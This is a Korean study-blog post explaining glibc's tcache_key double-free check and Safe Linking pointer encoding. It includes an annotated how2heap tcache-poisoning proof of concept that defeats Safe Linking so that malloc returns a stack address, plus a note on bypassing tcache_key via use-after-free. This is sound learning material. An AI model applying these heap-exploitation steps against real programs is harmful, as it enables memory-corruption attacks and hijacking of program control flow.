취약점분석/Pwnable

[Pwnable] tcache_key, Safe Linking

poiri3r 2025. 11. 12. 01:37

오늘 공부할 유닛은 tcache_key와 Safe Linking입니다.

glibc 2.32부터 힙에 적용된 보호기법으로, 각각 Double Free bug와 Tcache Poisoning를 방지하기 위한 방어 기법입니다.

먼저 Double Free bug는 같은 tcache에 대해 free가 두번 선언되면서 발생하는 취약점이었습니다.

해당 링크에서 malloc.c의 소스 코드를 확인 가능한데, tcache_key와 관련된 부분을 검색해보겠습니다.

https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c

 

malloc.c - malloc/malloc.c - Glibc source code glibc-2.35 - Bootlin Elixir Cross Referencer

 

elixir.bootlin.com

 

 

e->key에 tcache_key를 대입하므로 청크가 tcache에 들어간 상태임을 나타냅니다

_int_free 함수를 확인해보면

tcache_key값을 비교하고 같을 경우, tmp = tcache->entries[tc_idx]를 통해 순회하면서 

1. tcache리스트에 허용된 수보다 많은 청크가 존재하는지

2. tcache 리스트에 정렬되지 않은 청크가 존재하는지

3. DFB 등 버그로 중복된 청크가 존재하는지

검사를 한 뒤, DFB가 감지되면 tcache double free detected를 출력하며 프로그램을 강제 종료 시킵니다.

 

tcache_key을 우회하려면 DFB에 UAF와 같은 추가적인 공격을 통해 해제된 청크의 key 값을 덮어써야합니다

 

다음은 Safe Linking에 대해 알아보겠습니다.

Tcache Poisoning은 UAF와 같은 취약점을 이용해 tcache에 존재하는 청크의 next 포인터를 임의로 덮어써 원하는 주소에 청크를 할당하는 기법입니다.

 

이를 방지하는 Safe Linking은 next 포인터에 저장되는 주소값을 간단하게 인코딩/디코딩하여 저장하므로 Tcache Poisoning의 난이도를 굉장히 높입니다.

 

 

tcache를 관리하는데 사용하는 함수인 tcache_put()과 tcache_get()에서 각각 PROTECT_PTR과 REVEAL_PTR을 통해 e->next에 들어가는 값을 인코딩/디코딩 하는것을 확인할 수 있습니다.

PROTECT_PTR은 현재 청크의 주소를 12비트만큼 Shift하고 next가 될 값을 XOR하고 REVEAL_PTR은 역연산을 수행하여 들어간 주소값을 복구합니다.

 

이 12비트 쉬프팅은 ASLR이 적용된 환경에서 더 강력하게 작용하는데, 주소에서 예측 가능한 하위 12비트(페이지 오프셋)은 버리고, 예측 불가능한 비트(ASLR로 보호됨)만 골라서 암호화 키로 사용하기 때문입니다.

위의 사진을 보시면  free된 청크가 가리켜야 될 포인터(P)와 포인터 값에 저장될 주소(L)가 shift된 뒤 XOR연산이 되는 걸 알 수 있습니다.

최종적으로 P' = 0x0000BA93DFD35753의 값이 저장되게 됩니다.

 

Safe Linking이 도입된 이후 거의 모든 tcache 공격은 '힙 주소 유출'을 첫 번째 단계로 요구합니다.

 

how2heap에서 제공하는 tcache_poisoning.c(Safe Linking)을 보겠습니다.

https://github.com/shellphish/how2heap/blob/master/glibc_2.35/tcache_poisoning.c

 

how2heap/glibc_2.35/tcache_poisoning.c at master · shellphish/how2heap

A repository for learning various heap exploitation techniques. - shellphish/how2heap

github.com

 

(*일부 print문과 #include문을 제거했습니다)

int main()
{
	setbuf(stdin, NULL);
	setbuf(stdout, NULL);

	size_t stack_var[0x10];
	size_t* target = NULL;

	for (int i = 0; i < 0x10; i++) {
		if (((long)&stack_var[i] & 0xf) == 0) {
			target = &stack_var[i];
			break;
		}
	}
	assert(target != NULL);

	intptr_t* a = malloc(128);
	intptr_t* b = malloc(128);

	free(a);
	free(b);

	b[0] = (intptr_t)((long)target ^ (long)b >> 12);
	printf("Now the tcache list has [ %p -> %p ].\n", b, target);

	printf("1st malloc(128): %p\n", malloc(128));
	printf("Now the tcache list has [ %p ].\n", target);
	intptr_t* c = malloc(128);
	printf("2nd malloc(128): %p\n", c);
	assert((long)target == (long)c);
	return 0;
}

 

for (int i = 0; i < 0x10; i++) {
		if (((long)&stack_var[i] & 0xf) == 0) {
			target = &stack_var[i];
			break;
		}
	}

위의 반복문은 스택 메모리 영역에서 16바이트로 정렬된 주소를 찾아 target 포인터에 저장하는 역할을 합니다.

=> glibc의 malloc함수는 힙 청크를 반환할 때 16바이트의 경계에 맞춰져 있도록 하기 때문에 정렬 검사를 통과시킬 수 있는 target주소를 찾는 과정입니다. 

 

그 이후 128크기의 malloc을 두개 할당하고 해제합니다.

 

	b[0] = (intptr_t)((long)target ^ (long)b >> 12);

 

해당 코드는 free된 b 청크의 next 포인터 필드(b[0])에 값을 덮어쓰는 행위입니다.

이 때 glibc가 next 포인터 값을 복호화할 때 target이 나오도록 역산해서 넣어줍니다.

(*target은 우리가 malloc이 반환하길 원하는 스택 주소입니다)

	printf("1st malloc(128): %p\n", malloc(128));
	printf("Now the tcache list has [ %p ].\n", target);

그 뒤 malloc을 다시 호출합니다.이 때 tcache list poisoning이 발생합니다.

위는 출력 결과입니다.

 

그 다음 호출입니다.

	intptr_t* c = malloc(128);
	printf("2nd malloc(128): %p\n", c);
	assert((long)target == (long)c);

그 다음 malloc이 호출되면 tcache list에서 tcache보관함의 head가 target의 스택 주소가 되었습니다.

결론적으로 malloc이 힙 영역이 아닌 스택 영역의 주소를 반환했고, 공격이 성공했음을 알 수 있습니다.

이 때 c[0] = ... 처럼 c에 데이터를 쓰면 실제로는 스택 메모리에 써져 프로그램의 실행 흐름을 장악하는 형태가 가능해집니다.

전체 실행 결과는 다음과 같습니다.

요약하면

1. tcache list의 head를 우리가 원하는 target 주소(스택)을 암호화한 주소값을 b[0]에 넣어놓고  덮어씀 (Poisoning)

2. c = malloc(128)에서 스택 주소 호출합니다.

 

이전에 tcache poisoning에서 현재 b의 주소를 얻어서 암호화한다는 과정을 추가하는 것으로 난이도가 올라갔네요.

 

이상으로 포스팅을 마치겠습니다.

힙의 세계는 어렵네요 

읽어주셔서 감사합니다

'취약점분석 > Pwnable' 카테고리의 다른 글

[Pwnable] FSOP - 1 (_IO_FILE)  (0) 2025.11.25
[Pwnable]ACS 2025 포너블 문제 풀이 (urgent)  (0) 2025.11.24
[Pwnable] Format String Bug  (0) 2025.11.10
[Pwnable]Tcache_dup2 write-up  (0) 2025.11.09
[Pwnable] Tcache_dup write-up  (0) 2025.11.08